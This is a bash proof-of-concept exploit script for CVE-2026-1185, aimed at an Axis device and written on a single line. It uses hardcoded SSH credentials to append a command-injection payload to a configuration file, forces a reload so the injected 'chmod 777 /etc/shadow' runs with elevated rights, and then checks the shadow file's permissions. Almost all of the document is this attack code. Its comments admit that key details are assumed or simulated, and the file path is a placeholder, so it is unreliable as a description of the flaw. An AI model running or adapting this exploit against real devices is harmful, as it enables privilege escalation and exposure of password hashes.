CVE-2026-1185

#!/bin/bash # PoC for CVE-2026-1185 # Description: Exploits improper input validation in a configuration file # on an Axis device to achieve code execution and privilege escalation. # Preconditions: Attacker has valid SSH credentials (low privilege). TARGET="192.168.1.10" USER="service" PASS="password123" CONFIG_FILE="/etc/axis/vulnerable_config.conf" PAYLOAD="; /bin/chmod 777 /etc/shadow; #" # Malicious command to inject echo "[*] Attempting to exploit CVE-2026-1185 on $TARGET" # 1. Connect via SSH and inject payload into the configuration file # We assume the config file is writable by the low-priv user or group sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no "$USER@$TARGET" \ "echo 'setting_name=$PAYLOAD' >> $CONFIG_FILE" if [ $? -eq 0 ]; then echo "[+] Payload injected successfully." else echo "[-] Failed to inject payload." exit 1 fi # 2. Trigger configuration reload # This simulates the system reading the malicious config # In a real scenario, this might be 'systemctl restart axis-service' or similar sshpass -p "$PASS" ssh "$USER@$TARGET" "/usr/bin/axis-config-reload" echo "[*] Waiting for service reload..." sleep 5 # 3. Verify exploit (Check if shadow file permissions changed) sshpass -p "$PASS" ssh "$USER@$TARGET" "ls -l /etc/shadow" echo "[*] Exploit demonstration complete."

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